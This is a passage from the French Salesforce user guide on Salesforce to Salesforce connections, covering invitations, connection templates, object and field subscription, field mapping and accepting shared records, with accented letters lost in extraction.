5. Dsignez l'utilisateur charg de grer la connexion.

6. Vous pouvez galement slectionner un modle appliquer la connexion.
7. Cliquez sur Enregistrer et Envoyer une invitation.
Pour inviter plusieurs partenaires commerciaux se connecter l'aide de Salesforce to Salesforce :
1. Cliquez sur l'onglet Contacts.
2. Slectionnez une vue de liste standard ou personnalise et cliquez sur OK.
3. Dans la vue de liste, cochez les cases en regard des contacts que vous souhaitez inviter. Pour slectionner tous les contacts,
cochez la case dans l'en-tte de la colonne.
Important: Assurez-vous que les adresses e-mail sont valides, sinon vos invitations risque d'tre envoyes aux
mauvaises personnes.
4.
5.
6.
7.

Cliquez sur Inviter se connecter.

Dsignez l'utilisateur charg de grer la connexion.
Vous pouvez galement slectionner un modle appliquer la connexion.
Cliquez sur Enregistrer et Envoyer une invitation.

Les personnes que vous invitez recevront une invitation par e-mail se connecter avec vous via Salesforce to Salesforce. Elle
peut accepter ou dcliner votre invitation. Vous pouvez savoir si votre invitation a t accepte ou dcline en vrifiant vos
connexions dans l'onglet Connexions. partir de l'onglet Connexions, vous pouvez aussi renvoyer ou annuler l'invitation.
Pour plus d'informations sur les connexions, notamment des informations sur l'activation d'une connexion accepte, reportez-vous
Page d'accueil des connexions la page 1861.

Voir aussi :
Prsentation de Salesforce to Salesforce
Acceptation ou refus d'une invitation rejoindre 100 % Salesforce
Configuration de 100 % Salesforce
Conseils pour l'utilisation de Salesforce to Salesforce
Modles de connexion dans Salesforce to Salesforce
Cration et application de modles de connexion
Dterminer si vos partenaires utilisent Salesforce.com

Salesforce to Salesforce

Guide de l'utilisateur | Acceptation ou refus d'une invitation rejoindre 100 % Salesforce | 1860

Acceptation ou refus d'une invitation rejoindre 100 %

Salesforce
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour accepter ou refuser une invitation une connexion
l'aide de 100 % Salesforce :

Grer les connexions

Si un partenaire commercial vous a envoy une invitation pour se connecter l'aide de 100 % Salesforce, vous pouvez accepter
ou rejeter cette invitation en suivant la procdure suivante :
1.
2.
3.
4.
5.

Activez 100 % Salesforce pour votre entreprise, si ce n'est pas fait.

Cliquez sur le lien de l'e-mail d'invitation pour accder la page de connexion Salesforce.com.
Connectez-vous en tant qu'administrateur systme ou en tant qu'utilisateur disposant de l'autorisation Grer les connexions.
Vrifiez les dtails de l'invitation.
Cliquez sur Accepter pour accepter l'invitation ou sur Refuser pour la dcliner.
Si vous n'tes pas sr de vouloir accepter ou dcliner l'invitation, cliquez sur Dcider plus tard. L'invitation apparat sur
l'onglet Connexions avec le statut de connexion Invitation reue. partir de l'onglet Connexions, vous pouvez facilement
accepter ou dcliner l'invitation ultrieurement.

Lorsque vous acceptez ou rejetez une invitation, la socit qui vous a invit reoit un e-mail l'informant de votre dcision. Vous
pouvez configurer le contenu de cet e-mail en modifiant le modle d'e-mail appropri. Pour plus d'informations, reportez-vous
Configuration de 100 % Salesforce la page 1857.

Voir aussi :
Prsentation de Salesforce to Salesforce
Invitation de partenaires commerciaux se connecter l'aide de Salesforce to Salesforce
Conseils pour l'utilisation de Salesforce to Salesforce

Salesforce to Salesforce

Guide de l'utilisateur | Page d'accueil des connexions | 1861

Page d'accueil des connexions

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour grer les connexions pour 100 % Salesforce :

Grer les connexions

Pour grer des modles pour 100 % to Salesforce :

Grer les connexions

La page d'accueil Connexions permet de grer vos connexions et modles de connexion 100 % Salesforce. Dans l'onglet
Connexions, vous pouvez effectuer les oprations suivantes :

Slectionner le sous-onglet Connexions pour grer les connexions. Les connexions incluent toutes les personnes que vous
avez invites, qu'elles aient accept ou dclin l'invitation, ou pas encore rpondu l'invitation, ainsi que toutes les invitations
que vous avez reues. Les connexions rcentes sont automatiquement affiches dans le sous-onglet Connexions.
-

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur
Crer une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre,
slectionnez-la dans la liste droulante Vue, puis cliquez sur Modifier.
Pour afficher les dtails d'une connexion, cliquez sur le nom de cette connexion.
Pour inviter de nouvelles connexions, cliquez sur Nouveau, puis entrez le dtails de la connexion et cliquez sur Enregistrer
et Envoyer une invitation.
Pour dsactiver une connexion, cliquez sur Dsactiver.
Pour les invitations se connecter envoyes mais pas encore acceptes, vous pouvez cliquer sur Renvoyer afin d'envoyer
une nouvelle fois l'invitation ou sur Annuler l'invitation pour la rsilier. Pour plus d'informations sur l'invitation la
connexion, reportez-vous Invitation de partenaires commerciaux se connecter l'aide de Salesforce to Salesforce
la page 1858.

Slectionnez le sous-onglet Modles pour grer les modles de connexion. Les modles permettent de dfinir et de publier
des rgles de partage d'objets et de champs vers une ou plusieurs connexions. Les modles rcents sont automatiquement
affichs dans le sous-onglet Modles.
-

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur
Crer une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre,
slectionnez-la dans la liste droulante Vue, puis cliquez sur Modifier.
Pour afficher les dtails d'un modle, cliquez sur son nom.
Pour crer un modle, cliquez sur Nouveau.

Salesforce to Salesforce

Guide de l'utilisateur | Gestion des connexions | 1862

Pour modifier un modle, cliquez sur Modifier en regard du modle que vous souhaitez modifier. Pour plus d'informations
sur l'utilisation de modles, reportez-vous Cration et application de modles de connexion la page 1864.

Voir aussi :
Configuration de 100 % Salesforce
Gestion des connexions
Partage d'enregistrement utilisant Salesforce to Salesforce
Conseils pour l'utilisation de Salesforce to Salesforce
Dterminer si vos partenaires utilisent Salesforce.com

Gestion des connexions

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour grer les connexions :

Grer les connexions

partir de l'onglet Connexions, vous pouvez afficher les dtails des connexions et grer ces dernires. Les dtails de la connexion
incluent des informations sur le statut de la connexion, son responsable, des informations sur la socit, les champs publis et
inscrits et un historique de connexion.
Pour afficher une connexion :
1. Cliquez sur l'onglet Connexions.
2. Dans le sous-onglet Connexions, cliquez sur le nom de la connexion afficher.
partir de la page de dtails de la connexion, vous pouvez effectuer les oprations suivantes :
Accepter une invitation
Si un partenaire professionnel vous a envoy une invitation vous connecter l'aide de 100 % Salesforce, vous pouvez
cliquer sur Accepter pour accepter l'invitation. Aprs avoir accept l'invitation, vous pouvez vous inscrire aux objets que
la connexion a publis et vous pouvez commencer partager des objets avec la connexion grce aux listes associes Objets
publis et aux Objets inscrits sur une page de dtails de la connexion.
Annuler une invitation
Si une invitation a t envoye, mais pas accepte, vous pouvez annuler l'invitation en cliquant sur Annuler l'invitation.
Si votre partenaire n'a pas reu l'invitation, cliquez sur Renvoyer pour la lui renvoyer.
Dsactiver les connexions
Si vous avez cr une connexion avec un partenaire commercial et que vous ne souhaitez plus l'utiliser, cliquez sur
Dsactiver. Tous les enregistrements que vous avez accepts de cette connexion restent disponibles dans votre entreprise.
Tous les enregistrements que vous avez partags avec cette connexion restent disponibles dans leur organisation, mais
l'enregistrement partag ne sera plus mis jour. Les enregistrements que vous avez envoys votre connexion et qu'elle
n'a pas accepts seront supprims de son entreprise et vice versa.

Salesforce to Salesforce

Guide de l'utilisateur | Gestion des connexions | 1863

Modifier des connexions

Lorsque vous affichez la connexion, vous pouvez la modifier en ditant ses dtails. Pour modifier les objets publis vers
une connexion, cliquez sur Publier/Annuler la publication. Pour utiliser un modle de connexion, cliquez sur Modifier,
puis slectionnez un modle actif. Pour modifier les champs publis d'un objet, cliquez sur Modifier prs de l'objet. Pour
changer les objets auxquels vous vous inscrivez, cliquez sur S'inscrire/Se dsinscrire. Pour plus d'informations,
reportez-vous :

Publication d'objets dans 100 % Salesforce la page 1876

Inscription des objets de 100 % Salesforce la page 1868
Publication de champs dans 100 % Salesforce la page 1877
Inscription des champs de 100 % Salesforce la page 1869

Afficher l'historique de connexion

Vous pouvez afficher l'historique dtaill de la connexion dans la liste associe Historique de connexion de la page de
dtails de la connexion. Pour exporter l'historique des connexions, slectionnez Tlcharger l'historique de connexion
(csv). Vous tlchargez ainsi un fichier au format CSV, qui contient les informations suivantes :

Changements de statut de connexion

Changements pour lesquels le compte est associ la connexion
Changements pour lesquels le contact est associ la connexion
Changements du responsable de la connexion
Changements apports des champs publis
Communications par e-mail avec vos partenaires commerciaux
Dtails des erreurs, qui comprennent le type d'erreur et le messages associ, pour les erreurs lies aux activits suivantes
:
-

Enregistrements accepts manuellement

Enregistrements accepts automatiquement
Enregistrements mis jour par l'Utilisateur connect

Voir aussi :
Page d'accueil des connexions
Modles de connexion dans Salesforce to Salesforce
Dterminer si vos partenaires utilisent Salesforce.com

Salesforce to Salesforce

Guide de l'utilisateur | Modles de connexion dans Salesforce to Salesforce | 1864

Modles de connexion dans Salesforce to Salesforce

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer, modifier et afficher des modles de connexion :

Grer les connexions

Que sont les modles de connexion ?

Les modles de connexion permettent de dfinir des objets et des champs qui peuvent tre publis dans des connexions. Il
peuvent tre attribus une ou plusieurs connexions, ce qui acclre et facilite le processus de publication. Dans l'onglet
Connexions, cliquez sur le sous-onglet Modles pour afficher, crer et modifier des modles de connexion.
Lorsqu'un modle de connexion est appliqu une connexion, les rgles d'objet et de champ lui sont galement appliques.
Les rgles suivantes s'appliquent aux modles de connexion :

Les objets et les champs non encore publis, mais publis dans le modle de connexion, sont publis.
Les objets et les champs qui ont le mme statut de publication (publi ou non publi) que le modle ne changent pas.
Les objets et les champs dj publis, mais non publis dans le modle de connexion, sont non publis.

Voir aussi :
Cration et application de modles de connexion
Page d'accueil des connexions
Publication de champs dans 100 % Salesforce
Publication de champs dans Salesforce to Salesforce

Cration et application de modles de connexion

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer, modifier et afficher des modles de connexion :

Grer les connexions

Cration et modification de modles de connexion

Les modles de connexion permettent de dfinir des rgles de publication d'objets et de champs applicables une ou plusieurs
connexions.
Pour crer un modle de connexion :
1. Slectionnez l'onglet Connexions.
2. Slectionnez le sous-onglet Modles.

Salesforce to Salesforce

Guide de l'utilisateur | Modles de connexion dans Salesforce to Salesforce | 1865

3.
4.
5.
6.

Cliquez sur Nouveau.

Tapez un nom et une description (facultative).
Cochez la case Actif si vous souhaitez pouvoir affecter le modle des connexions.
Cliquez sur Enregistrer pour sauvegarder le modle ou sur Enregistrer et ajouter des objets pour ajouter des objets au
modle.
7. Si vous avez cliqu sur Enregistrer et ajouter des objets, cochez les cases en regard des objets que vous souhaitez ajouter,
puis cliquez sur Enregistrer.
Remarque: Si vous avez cliqu sur Enregistrer, vous pouvez cliquer sur Ajouter/supprimer des objets dans la
page de dtails du modle pour ajouter des objets.
8. Cliquez sur Modifier en regard d'un objet que vous avez ajout la liste associe Objets publis.
9. Slectionnez les champs que vous souhaitez publier pour l'objet, puis cliquez sur Enregistrer.
10. Rptez les tapes 8 et 9 pour chaque objet ajout la liste associe Objets publis.
Pour modifier un modle de connexion, vous pouvez cliquer sur Modifier en regard du modle que vous souhaitez modifier
dans le sous-onglet Modles. Vous pouvez galement cliquer sur Modifier dans une page de dtails du modle. Une fois les
modifications apportes, cliquez sur Enregistrer pour sauvegarder le modle ou sur Enregistrer et ajouter des objets pour
ajouter ou supprimer des objets.
Pour dsactiver un modle de connexion :
1. Dans le sous-onglet Modles, cliquez sur Modifier en regard du modle que vous souhaitez dsactiver. Vous pouvez
galement cliquer sur Modifier dans la page de dtails du modle.
2. Dsactivez la case Actif.
3. Cliquez sur Enregistrer.
Remarque: Seuls les modles de connexion actifs peuvent tre attribus des connexions.

Attribution de modles de connexion des connexions

Vous pouvez attribuer des modles de connexion de nouvelles connexions, lorsque vous en invitez une ou plusieurs, ou des
connexions existantes.
Pour attribuer un modle de connexion en invitant une nouvelle connexion :
1. Cliquez sur l'onglet Connexions.
2. Cliquez sur Nouveau.
3. Entrez un nom de contact ou utilisez l'icne de recherche pour slectionner un contact.
Important: Assurez-vous que l'adresse e-mail est valide, sinon l'invitation risque d'tre envoye la mauvaise
personne.
4. Vous pouvez galement slectionner un compte li.
Remarque: Le compte associ la connexion peut tre modifi aprs l'envoi de l'invitation.

5. Slectionnez l'utilisateur charg de grer la connexion.

6. Vous pouvez galement slectionner un modle appliquer la connexion.
7. Cliquez sur Enregistrer et Envoyer une invitation.

Salesforce to Salesforce

Guide de l'utilisateur | Partage d'enregistrement utilisant Salesforce to Salesforce | 1866

Pour attribuer un modle de connexion en invitant plusieurs nouvelles connexions :

1. Cliquez sur l'onglet Contacts.
2. Slectionnez une vue de liste standard ou personnalise et cliquez sur OK.
3. Dans la vue de liste, cochez les cases en regard des contacts que vous souhaitez inviter. Pour slectionner tous les contacts,
cochez la case dans l'en-tte de la colonne.
Important: Assurez-vous que les adresses e-mail sont valides, sinon vos invitations risque d'tre envoyes aux
mauvaises personnes.
4.
5.
6.
7.

Cliquez sur Inviter se connecter.

Slectionnez l'utilisateur charg de grer la connexion.
Vous pouvez galement slectionner un modle appliquer la connexion.
Cliquez sur Enregistrer et Envoyer une invitation.

Pour attribuer un modle de connexion une connexion existante :

1.
2.
3.
4.
5.
6.

Slectionnez l'onglet Connexions.

Slectionnez le sous-onglet Connexions.
Cliquez sur le nom de la connexion laquelle vous souhaitez attribuer le modle.
Cliquez sur Modifier.
Dans le champ Modle, tapez le nom du modle ou cliquez sur l'icne de recherche pour localiser un modle.
Cliquez sur Enregistrer.

Voir aussi :
Modles de connexion dans Salesforce to Salesforce
Page d'accueil des connexions
Publication de champs dans 100 % Salesforce
Publication de champs dans Salesforce to Salesforce

Partage d'enregistrement utilisant Salesforce to Salesforce

Disponible avec : Toutes les ditions

Une fois que vous avez cr une connexion une autre entreprise, vous pouvez partager avec elle des pistes, des opportunits,
des comptes, des contacts, des tches, des produits, des produits d'opportunit, des requtes, des commentaires de requtes,
des pices jointes et des donnes d'objets personnaliss. Vos partenaires commerciaux n'ont pas d'accs direct votre
enregistrement. Ils possdent dans leur organisation un enregistrement connect via Salesforce to Salesforce votre
enregistrement. Toute mise jour apporte aux informations partages sur l'un des deux enregistrements est rpercute sur
l'autre. Vous pouvez partager des enregistrements avec une ou plusieurs connexions. Chaque connexion peut accepter des
enregistrements partags, mme si d'autres connexions ont galement accept le mme enregistrement.
Remarque: Mettre des enregistrements la disposition de partenaires commerciaux l'aide de Salesforce to Salesforce
et partager des enregistrements au sein de votre organisation sont deux oprations diffrentes.

Salesforce to Salesforce

Guide de l'utilisateur | Partage d'enregistrement utilisant Salesforce to Salesforce | 1867

Vous pouvez contrler le type d'enregistrement que vous partagez avec vos partenaires commerciaux en slectionnant les objets
et les champs publier. Pour plus d'informations sur la publication d'objets et de champs, reportez-vous Publication d'objets
dans Salesforce to Salesforce la page 1876 et Publication de champs dans Salesforce to Salesforce la page 1877.
Vous pouvez contrler la faon dont les informations mises votre disposition par votre partenaire commercial sont utilises
au sein de votre entreprise, en vous inscrivant des objets et en mappant les champs de ces objets des champs de vos propres
objets. Pour plus d'informations sur l'inscription des objets, reportez-vous Inscription des objets de Salesforce to Salesforce
la page 1868. Pour plus d'informations sur le mappage de champs, reportez-vous Inscription des champs de Salesforce to
Salesforce la page 1869.
Des enregistrements individuels et leurs enregistrements associs sont mis la disposition de vos connexions en transmettant
l'enregistrement une ou plusieurs connexions, ou en attribuant l'enregistrement une file d'attente contenant des connexions.
Quand vous transmettez un enregistrement une connexion, vous pouvez slectionner les enregistrements inclure et envoyer
votre contact de connexion une notification par e-mail l'informant qu'un enregistrement a t mis disposition. Pour plus
d'informations, reportez-vous Enregistrements mis disposition d'une connexion la page 1879.
De mme, vos partenaires commerciaux peuvent mettre des enregistrements votre disposition. Quand un enregistrement est
mis votre disposition par un partenaire, vous pouvez voir des dtails de base le concernant partir d'une vue sur la page
d'accueil de l'objet. Ensuite, vous acceptez ou refusez l'enregistrement et ses enregistrements associs. Pour plus d'informations,
reportez-vous Acceptation des enregistrements partags depuis une connexion la page 1871. En outre, en vous abonnant
un objet, vous pouvez spcifier l'acceptation automatique des enregistrements d'objets qui sont partags avec votre connexion.
Cette fonction est trs utile pour partager la connexion avec un grand nombre d'enregistrements.
Une fois que vous avez accept un enregistrement, vous pouvez le rendre disponible pour d'autres connexions de la mme
manire que vous pouvez le faire grce Salesforce to Salesforce. Cela vous permet de travailler dans un rseau commercial
plusieurs niveaux. Dans un rseau plusieurs niveaux, les changements apports l'enregistrement partag dans votre organisation
permettent de mettre jour les informations dans toutes les organisations qui partagent l'enregistrement.
Vous pouvez facilement visualiser les relations existant entre vos connexions et vos objets en crant des rapports personnaliss.
Pour plus de dtails sur les rapports et Salesforce to Salesforce, reportez-vous Conseils pour l'utilisation de Salesforce to
Salesforce la page 1884.

Voir aussi :
Prsentation de Salesforce to Salesforce
Gestion des files d'attente
Publication de champs dans Salesforce to Salesforce
Inscription des champs de Salesforce to Salesforce
Conseils pour l'utilisation de Salesforce to Salesforce

Salesforce to Salesforce

Guide de l'utilisateur | Inscription des objets de 100 % Salesforce | 1868

Inscription des objets de 100 % Salesforce

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour s'inscrire des objets publis :

Grer les connexions

Lorsque vous tes connect un partenaire commercial l'aide de 100 % Salesforce, vous pouvez vous inscrire aux objets
publis par votre partenaire commercial. Lorsque vous vous inscrivez un objet, vous le mappez un objet de votre entreprise.
Les objets standard sont mapps des objets standard de votre entreprise, mais vous pouvez mapper des objets personnaliss
n'importe quel objet personnalis. Par exemple, si votre partenaire commercial a publi l'objet Piste, vous devez le mapper
votre objet Piste. Si votre partenaire commercial a publi un objet personnalis appel Prospects, vous pouvez le mapper
un objet personnalis appel Client.
Pour s'inscrire des objets pour une connexion :
1.
2.
3.
4.

Cliquez sur l'onglet Connexions.

Cliquez sur le nom de la connexion modifier.
Dans la liste associe Objets inscrits, cliquez sur S'inscrire/Se dsinscrire.
Slectionnez les objets auxquels vous voulez vous inscrire en slectionnant l'objet de votre entreprise que vous souhaitez
mapper cet objet. Slectionnez --Aucun-- si vous ne voulez pas vous inscrire un objet publi.
5. Activez la case Accepter automatiquement en regard d'un objet si vous souhaitez accepter automatiquement les
enregistrements de ce type lorsqu'ils sont partags avec votre connexion. La case s'affiche une fois le mappage slectionn.
Remarque: Elle n'est pas disponible pour :

Les objets enfants tels que les produits d'opportunit, les tches, les commentaires de requtes et les pices
jointes. Les produits d'opportunit, les tches et les commentaires de requte publics sont automatiquement
accepts lors de l'acdeptation de l'enregistrement parent. Les pices jointes sont automatiquement acceptes si
elles sont marques publiques et si la case Partager avec des connexions est active.
Les objets qui contiennent un ou plusieurs objets principaux, tels que les objets junction personnaliss ou les
objets dtails dans une relation principal-dtails.

En outre, l'option Accepter automatiquement ne s'applique aucun enregistrement qui est partag en tant
qu'enfant d'un autre enregistrement, par exemple enregistrement de requte enfant d'un enregistrement de requte
que vous avez dj accept.
6. Cliquez sur Enregistrer.
Remarque: Si votre partenaire commercial stoppe la publication d'un objet auquel vous vous tes abonn, vous tes
automatiquement dsabonn.
Une fois abonn un objet, vous pouvez mapper les champs publis dans cet objet avec des champs de votre objet. Par exemple,
vous pouvez mapper le champ Description sur les pistes un champ personnalis sur les pistes appel Description
partenaire. Ceci vous permettrait d'utiliser votre propre champ pour dcrire la piste pour les utilisateurs de votre entreprise
plutt que d'utiliser la description fournie par votre partenaire commercial.

Salesforce to Salesforce

Guide de l'utilisateur | Inscription des champs de Salesforce to Salesforce | 1869

Observations complmentaires
Si vous choisissez d'accepter automatiquement les pistes ou les requtes, toute rgle d'attribution active dans votre organisation
est excute lors de l'acceptation automatique d'un enregistrement.
Pour accepter automatiquement un enregistrement partag par votre connexion, le responsable de la connexion de cet
enregistrement doit tre un utilisateur actif.

Inscription des champs de Salesforce to Salesforce

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour s'inscrire des champs publis :

Grer les connexions

Lorsque vous acceptez l'invitation d'un partenaire commercial rejoindre Salesforce to Salesforce, vous pouvez vous inscrire
aux champs publis par ce partenaire et les mapper vos champs. Lorsque votre partenaire commercial met jour les champs
d'un enregistrement que vous partagez, ces champs sont galement mis jour sur l'enregistrement partag de votre entreprise.
Par exemple, si votre partenaire commercial a publi le champ Description, vous pouvez mapper ce champ un champ
personnalis intitul Description partenaire. Cela vous permet d'utiliser votre propre champ afin de dcrire la piste
pour les utilisateurs au sein de votre entreprise.
Pour mapper les champs d'un objet inscrit :
1.
2.
3.
4.

Cliquez sur l'onglet Connexions.

Cliquez sur le nom de la connexion modifier.
Dans la liste associe Objets inscrits, cliquez sur Modifier en regard de l'objet inscrit.
Mappez les champs publis de votre partenaire commercial aux champs de votre entreprise en choisissant le champ appropri
dans la liste droulante. Les champs pouvant exclusivement tre mapps des champs contenant le mme type de donnes,
des donnes de longueur identique (pour les champs texte et numriques) et avec les mmes dcimales (pour les champs
numriques), la liste droulante ne fait apparatre que les champs avec le type de donnes correct. Slectionnez --Aucun-si vous ne souhaitez remplir aucun champ avec des donnes provenant d'un champ publi.
Conseil: Lorsque vous vous inscrivez des champs, vous pouvez voir les dtails du type de donnes du champ
publi en faisant passer la souris sur l'icne d'informations ( ) proximit du champ.
Vous pouvez galement slectionner Mapper automatiquement les champs pour mapper automatiquement les
champs de votre partenaire commercial avec vos propres champs. Pour tout champ non mapp, Salesforce.com vrifie si
le nom d'API du champ correspond au nom de l'un de vos champs. Si aucun nom ne correspond, Salesforce.com vrifie
la correspondance des tiquettes de champ. Si Salesforce.com ne trouve aucune correspondance, --Aucun-- est slectionn.
Remarque: L'activation de Mapper automatiquement les champs ne remplace pas les slections antrieures.
La dsactivation de cette case n'affecte pas les champs qui taient mapps dans une transaction antrieure.
Les modifications rsultant de l'activation de cette case s'appliquent aprs avoir cliqu sur Enregistrer.

Salesforce to Salesforce

Guide de l'utilisateur | Inscription des champs de Salesforce to Salesforce | 1870

5. Si le champ est une liste de slection, cliquez sur Modifier la valeur pour mapper les valeurs de liste de slection publies
celles de votre entreprise. Vous pouvez mapper chaque valeur de la liste de slection publie une valeur de votre liste de
slection.
Remarque: Si une valeur de liste de slection est mappe sur --Aucun-- et que votre partenaire commercial
paramtre le champ sur cette valeur, ce champ est dfini sur la mme valeur dans votre enregistrement. Par exemple,
si vous vous abonnez la liste de slection Statut de la piste dans laquelle votre partenaire commercial a
une valeur Interne, le statut de la piste de votre enregistrement est Interne.
6. Cliquez sur Enregistrer.
Tenez compte des observations suivantes lorsque vous mappez des champs d'un objet inscrit :

Salesforce to Salesforce affiche l'tiquette d'API pour chaque champ.

Si vous tes inscrit un champ que votre partenaire commercial ne publie plus, vous en tes automatiquement dsinscrit.
Si vous supprimez un champ personnalis qui est mapp un champ publi, vous tes automatiquement dsinscrit de ce
champ.
Si le type de champ d'une liste de slection personnalise ou d'une liste de slection multiple personnalise est modifi, par
exemple si une liste de slection personnalise est modifie en champ de texte, vous tes automatiquement dsabonn de
ce champ.
Pour convertir un champ personnalis en champ de liste de slection, stoppez la publication du champ, modifiez le type
de champ, puis publiez de nouveau le champ.
Les champs standard suivants sont automatiquement mapps :
-

Compte : Nom du compte, et, si vous utilisez les comptes personnels, Nom
Pice jointe : Corps, Type de contenu, Nom de fichier
Requte : Objet
Commentaire sur la requte : Corps et Publi
Contact : Nom
Objet personnalis : Nom
Piste : Nom et Entreprise
Opportunit : Nom, Date de clture, et tape
Produit : Nom du produit
Tche : Objet
Produit de l'opportunit : Quantit, Prix de vente

Si vous mappez un champ de devise et qu'un enregistrement partag par votre connexion utilise une devise que votre
entreprise n'a pas active, ce champ de devise n'est pas mis jour. Par exemple, votre connexion a partag une opportunit
avec vous. Votre entreprise utilise exclusivement l'euro. Votre connexion met jour l'opportunit dont elle fixe le montant
300 $. Le montant de l'opportunit n'est pas mis jour dans l'enregistrement de votre entreprise puisque celle-ci ne
prend pas en charge le dollar amricain.
Si votre connexion utilise des comptes personnels et que vous n'en utilisez pas, le Nom du compte personnel est utilis
comme Nom de compte lorsque votre connexion partage un enregistrement de compte personnel avec vous. Si vous
activez les comptes personnels, vous tes automatiquement abonn au champ Nom. Toute modification apporte au Nom
et au Nom de compte est synchronise.
Vous pouvez mapper des champs de recherche des champs texte d'une longueur de 80 caractres ou plus. Si votre connexion
modifie un champ de recherche que vous avez mapp un champ texte, le champ texte est mis jour avec ces modifications.
Vous pouvez mapper des champs de numrotation automatique avec des champs de texte d'une longueur de 30 caractres
ou plus.

Salesforce to Salesforce

Guide de l'utilisateur | Acceptation d'enregistrements partags en provenance d'une connexion | 1871

Vous pouvez mapper des champs de formule avec des champs contenant le mme type de donnes, par exemple un champ
de formule contenant un type de donnes numrique peut tre mapp avec un champ d'un type de donnes numrique.
Un champ de formule d'un type de donnes texte peut tre mapp avec un champ de texte d'une longueur de 80 caractres
ou plus. Inversement, les champs ne peuvent pas tre mapps avec des champs de formule, par exemple, un champ de
formule d'un type de donnes devise peut tre mapp avec un champ de devise, mais un champ de devise ne peut pas tre
mapp avec un champ de formule. Les champs d'audit systme ne sont pas pris en charge.

Vous pouvez mapper des champs de rcapitulatif de cumul avec des champs de devise qui utilisent la mme devise. Par
exemple, un rcapitulatif de cumul avec un type de devise Dollar amricain peut tre mapp avec un champ de devise qui
utilise le Dollar amricain. Les champs d'audit systme ne sont pas pris en charge.

Si les Planifications de quantit et les Planifications de chiffre d'affaires sont actives dans l'organisation de votre connexion
et que vous avez souscrit un Objet produits depuis cette connexion, vous devez vous inscrire aux champs suivants et les
mapper avec les champs correspondants dans votre organisation :
Si les Planifications de quantit sont actives :
-

Nombre de versements de quantit

Priode de versement de quantit
Type de planification de quantit

Si les Planifications de chiffre d'affaires sont actives :

-

Nombre de versements de chiffre d'affaires

Priode de versement de chiffre d'affaires
Type de planification de chiffre d'affaires

Voir aussi :
Gestion des connexions
Publication de champs dans Salesforce to Salesforce

Acceptation d'enregistrements partags en provenance

d'une connexion
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour accepter des enregistrements partags :

Autorisations Lire et Modifier sur l'objet

Salesforce to Salesforce permet d'accepter des enregistrements de pistes, d'opportunits, de comptes, de contacts, de produits,
de requtes ou d'objets personnaliss, qui ont t mis votre disposition par des partenaires commerciaux avec lesquels vous
avez des connexions. Lorsque vous acceptez un enregistrement, vous pouvez l'attribuer vous-mme, un autre utilisateur,
une file d'attente. S'il s'agit d'une piste ou d'une requte, vous pouvez utiliser les rgles d'attribution de votre organisation pour
l'attribuer automatiquement. Si l'enregistrement est l'enfant d'un autre enregistrement que vous avez accept, vous pouvez

Salesforce to Salesforce

Guide de l'utilisateur | Acceptation d'enregistrements partags en provenance d'une connexion | 1872

l'attribuer l'enregistrement parent au moment o vous l'acceptez. En outre, en vous abonnant un objet, vous pouvez spcifier
l'acceptation automatique des enregistrements d'objets qui sont partags avec votre connexion.
Si des rgles de validation vous empchent d'accepter des enregistrements partags, crez une rgle de validation comportant
le champ non nul Nom de connexion en Rception. Les rgles de validation des enregistrements que vous acceptez de
vos connexions sont alors ignores. Pour crer cette rgle, utilisez la formule suivante :
IF(OR(ISNEW(), ISNULL(Id)), if(ConnectionReceivedId =null, TRUE,
FALSE),NOT(AND(ISCHANGED(ConnectionReceivedId), NOT(ConnectionReceivedId = null)))),
NOT(Contains($User.Alias, "pnet"))

Vous devez galement crer un rgle similaire pour tout dclencheur Apex qui comporte des contrles de validation.
Remarque: Si une erreur se produit en acceptant un enregistrement, reportez-vous l'historique des connexions pour
consulter les dtails de l'erreur. L'Historique des connexions rpertorie les erreurs relatives aux enregistrements accepts
manuellement et automatiquement.
Pour accepter des enregistrements disponibles :
1. Slectionnez l'onglet du type d'enregistrement que vous acceptez. Par exemple, pour accepter une piste, slectionnez l'onglet
Pistes.
2. Slectionnez une vue de liste de connexions et cliquez sur OK. Par exemple, dans l'onglet Pistes de la section Pistes
partir des connexions, slectionnez une vue de liste partir de la liste droulante et cliquez sur OK.
3. Pour les comptes, les contacts et les opportunits, cliquez sur Accepter en regard de l'enregistrement que vous souhaitez
accepter. Pour les requtes, les pistes et les objets personnaliss, cochez la case en regard des enregistrements accepter,
puis cliquez sur Accepter.
Remarque: Si un enregistrement est l'enfant d'un enregistrement que vous avez accept, le nom de l'enregistrement
parent est affich dans la colonne Nom de l'enregistrement parent. Si l'enregistrement est un enregistrement parent
ou s'il n'a pas d'enregistrement parent, cette colonne reste vide.
Lorsque vous acceptez un enregistrement contenant des pices jointes publiques, elles sont automatiquement
acceptes si vous activez la case Partager avec des connexions de la pice jointe.

Acception d'enregistrements d'opportunit

Lorsque vous acceptez une opportunit, vous pouvez l'associer un objet ou un catalogue de prix et associer l'opportunit
un nouveau compte ou une nouvelle opportunit, ou d'utiliser une opportunit ou un compte existant. Si vous crez une
opportunit ou un compte, vous pouvez aussi dfinir le responsable de cet enregistrement.

Pour associer l'opportunit un autre objet, cliquez sur l'icne

en regard du type d'objet et slectionnez un objet existant.
Pour associer l'opportunit un catalogue de prix, slectionnez-le dans la liste droulante Catalogue de prix.
Pour crer un compte li l'opportunit, entrez le nom du compte. Vous devez disposer de l'autorisation de cration sur
les comptes.
Pour associer un compte existant l'opportunit, cliquez sur l'icne de
afin de slectionner un compte existant.
Pour accepter l'opportunit sans l'associer un compte, slectionnez Utiliser aucun.
Pour crer une opportunit partir de l'enregistrement partag, slectionnez Crer une opportunit. Vous devez disposer
de l'autorisation de cration sur les nouvelles opportunits.
Pour modifier une opportunit existante en la connectant l'enregistrement de votre partenaire commercial, cliquez sur
l'icne de

afin de slectionner une opportunit existante.

Salesforce to Salesforce

Guide de l'utilisateur | Acceptation d'enregistrements partags en provenance d'une connexion | 1873

Si vous disposez de plus d'un type d'enregistrement pour un compte ou une opportunit, slectionnez le type d'enregistrement
appropri.

Utilisez l'icne de
